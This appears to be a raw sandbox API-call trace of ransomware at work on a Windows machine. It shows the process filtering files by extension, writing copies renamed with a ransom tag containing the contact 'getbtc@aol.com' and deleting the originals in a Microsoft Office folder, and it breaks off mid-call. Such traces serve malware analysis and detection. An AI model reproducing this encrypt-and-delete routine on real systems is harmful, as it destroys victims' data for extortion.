[0247.981] lstrlenW (lpString=".doc") returned 4 [0247.981] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0247.981] lstrlenW (lpString=".docx") returned 5 [0247.981] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0247.981] lstrlenW (lpString=".pdf") returned 4 [0247.981] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0247.981] lstrlenW (lpString=".xls") returned 4 [0247.981] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0247.981] lstrlenW (lpString=".xlsx") returned 5 [0247.981] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0247.981] lstrlenW (lpString=".ppt") returned 4 [0247.981] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0247.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.981] lstrlenW (lpString=".zip") returned 4 [0247.981] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0247.981] lstrlenW (lpString=".rar") returned 4 [0247.981] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0247.981] lstrlenW (lpString=".bz2") returned 4 [0247.981] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0247.981] lstrlenW (lpString=".7z") returned 3 [0247.981] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0247.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.981] lstrlenW (lpString=".dbf") returned 4 [0247.981] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0247.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.981] lstrlenW (lpString=".1cd") returned 4 [0247.981] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0247.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.981] lstrlenW (lpString=".jpg") returned 4 [0247.981] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0247.981] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0247.981] lstrlenW (lpString="DWGDPRES.DLL") returned 12 [0247.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.000] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=16224) returned 1 [0248.000] CloseHandle (hObject=0x360) returned 1 [0248.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll")) returned 0x20 [0248.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.252] lstrlenW (lpString=".doc") returned 4 [0248.252] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.252] lstrlenW (lpString=".docx") returned 5 [0248.252] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0248.252] lstrlenW (lpString=".pdf") returned 4 [0248.252] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.252] lstrlenW (lpString=".xls") returned 4 [0248.252] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.252] lstrlenW (lpString=".xlsx") returned 5 [0248.252] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0248.252] lstrlenW (lpString=".ppt") returned 4 [0248.252] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.252] lstrlenW (lpString=".zip") returned 4 [0248.253] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.253] lstrlenW (lpString=".rar") returned 4 [0248.253] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.253] lstrlenW (lpString=".bz2") returned 4 [0248.253] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.253] lstrlenW (lpString=".7z") returned 3 [0248.253] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.253] lstrlenW (lpString=".dbf") returned 4 [0248.253] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.253] lstrlenW (lpString=".1cd") returned 4 [0248.253] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.253] lstrlenW (lpString=".jpg") returned 4 [0248.253] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.253] lstrlenW (lpString=".doc") returned 4 [0248.253] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.253] lstrlenW (lpString=".docx") returned 5 [0248.253] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0248.253] lstrlenW (lpString=".pdf") returned 4 [0248.253] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.253] lstrlenW (lpString=".xls") returned 4 [0248.253] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.253] lstrlenW (lpString=".xlsx") returned 5 [0248.253] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0248.253] lstrlenW (lpString=".ppt") returned 4 [0248.253] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.253] lstrlenW (lpString=".zip") returned 4 [0248.253] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.253] lstrlenW (lpString=".rar") returned 4 [0248.253] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.253] lstrlenW (lpString=".bz2") returned 4 [0248.253] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.253] lstrlenW (lpString=".7z") returned 3 [0248.254] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.254] lstrlenW (lpString=".dbf") returned 4 [0248.254] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.254] lstrlenW (lpString=".1cd") returned 4 [0248.254] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0248.254] lstrlenW (lpString=".jpg") returned 4 [0248.254] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.254] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0248.254] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17 [0248.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0248.263] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=641) returned 1 [0248.263] CloseHandle (hObject=0x3a0) returned 1 [0248.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 0x20 [0248.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.322] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.322] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.322] GetLastError () returned 0x0 [0248.322] ReadFile (in: hFile=0x398, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x281, lpOverlapped=0x0) returned 1 [0248.342] WriteFile (in: hFile=0x3ac, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x290, lpOverlapped=0x0) returned 1 [0248.343] ReadFile (in: hFile=0x398, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.343] WriteFile (in: hFile=0x3ac, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0248.343] SetEndOfFile (hFile=0x3ac) returned 1 [0248.345] CloseHandle (hObject=0x3ac) returned 1 [0248.345] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.345] SetEndOfFile (hFile=0x398) returned 1 [0248.348] CloseHandle (hObject=0x398) returned 1 [0248.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 1 [0248.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.348] lstrlenW (lpString=".doc") returned 4 [0248.348] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0248.348] lstrlenW (lpString=".docx") returned 5 [0248.348] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0248.348] lstrlenW (lpString=".pdf") returned 4 [0248.348] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0248.348] lstrlenW (lpString=".xls") returned 4 [0248.349] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0248.349] lstrlenW (lpString=".xlsx") returned 5 [0248.349] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0248.349] lstrlenW (lpString=".ppt") returned 4 [0248.349] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0248.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.349] lstrlenW (lpString=".zip") returned 4 [0248.349] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0248.349] lstrlenW (lpString=".rar") returned 4 [0248.349] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0248.349] lstrlenW (lpString=".bz2") returned 4 [0248.349] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0248.349] lstrlenW (lpString=".7z") returned 3 [0248.349] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0248.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.349] lstrlenW (lpString=".dbf") returned 4 [0248.349] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0248.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.349] lstrlenW (lpString=".1cd") returned 4 [0248.349] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0248.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.349] lstrlenW (lpString=".jpg") returned 4 [0248.349] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0248.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.349] lstrlenW (lpString=".doc") returned 4 [0248.349] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0248.349] lstrlenW (lpString=".docx") returned 5 [0248.349] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0248.349] lstrlenW (lpString=".pdf") returned 4 [0248.349] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0248.349] lstrlenW (lpString=".xls") returned 4 [0248.349] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0248.349] lstrlenW (lpString=".xlsx") returned 5 [0248.349] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0248.349] lstrlenW (lpString=".ppt") returned 4 [0248.349] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0248.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.350] lstrlenW (lpString=".zip") returned 4 [0248.350] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0248.350] lstrlenW (lpString=".rar") returned 4 [0248.350] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0248.350] lstrlenW (lpString=".bz2") returned 4 [0248.350] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0248.350] lstrlenW (lpString=".7z") returned 3 [0248.350] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0248.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.350] lstrlenW (lpString=".dbf") returned 4 [0248.350] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0248.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.350] lstrlenW (lpString=".1cd") returned 4 [0248.350] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0248.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0248.350] lstrlenW (lpString=".jpg") returned 4 [0248.350] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0248.350] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0248.350] lstrlenW (lpString="EXCEL_COL.HXT") returned 13 [0248.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.350] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=205) returned 1 [0248.351] CloseHandle (hObject=0x398) returned 1 [0248.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 0x20 [0248.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.351] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.351] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.351] GetLastError () returned 0x0 [0248.351] ReadFile (in: hFile=0x398, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xcd, lpOverlapped=0x0) returned 1 [0248.352] WriteFile (in: hFile=0x3ac, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0248.353] ReadFile (in: hFile=0x398, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.353] WriteFile (in: hFile=0x3ac, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xee, lpOverlapped=0x0) returned 1 [0248.353] SetEndOfFile (hFile=0x3ac) returned 1 [0248.353] CloseHandle (hObject=0x3ac) returned 1 [0248.353] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.353] SetEndOfFile (hFile=0x398) returned 1 [0248.355] CloseHandle (hObject=0x398) returned 1 [0248.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 1 [0248.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.358] lstrlenW (lpString=".doc") returned 4 [0248.358] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0248.358] lstrlenW (lpString=".docx") returned 5 [0248.358] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0248.358] lstrlenW (lpString=".pdf") returned 4 [0248.358] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0248.358] lstrlenW (lpString=".xls") returned 4 [0248.358] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0248.358] lstrlenW (lpString=".xlsx") returned 5 [0248.358] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0248.358] lstrlenW (lpString=".ppt") returned 4 [0248.358] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0248.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.358] lstrlenW (lpString=".zip") returned 4 [0248.358] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0248.358] lstrlenW (lpString=".rar") returned 4 [0248.358] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0248.358] lstrlenW (lpString=".bz2") returned 4 [0248.359] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0248.359] lstrlenW (lpString=".7z") returned 3 [0248.359] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.359] lstrlenW (lpString=".dbf") returned 4 [0248.359] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.359] lstrlenW (lpString=".1cd") returned 4 [0248.359] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.359] lstrlenW (lpString=".jpg") returned 4 [0248.359] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.359] lstrlenW (lpString=".doc") returned 4 [0248.359] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0248.359] lstrlenW (lpString=".docx") returned 5 [0248.359] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0248.359] lstrlenW (lpString=".pdf") returned 4 [0248.359] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0248.359] lstrlenW (lpString=".xls") returned 4 [0248.359] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0248.359] lstrlenW (lpString=".xlsx") returned 5 [0248.359] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0248.359] lstrlenW (lpString=".ppt") returned 4 [0248.359] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0248.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.359] lstrlenW (lpString=".zip") returned 4 [0248.359] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0248.359] lstrlenW (lpString=".rar") returned 4 [0248.359] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0248.359] lstrlenW (lpString=".bz2") returned 4 [0248.359] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0248.359] lstrlenW (lpString=".7z") returned 3 [0248.359] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0248.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.360] lstrlenW (lpString=".dbf") returned 4 [0248.360] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0248.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.360] lstrlenW (lpString=".1cd") returned 4 [0248.360] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0248.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0248.360] lstrlenW (lpString=".jpg") returned 4 [0248.360] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0248.360] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0248.360] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15 [0248.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.361] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=114) returned 1 [0248.361] CloseHandle (hObject=0x398) returned 1 [0248.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 0x20 [0248.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.361] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.362] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, 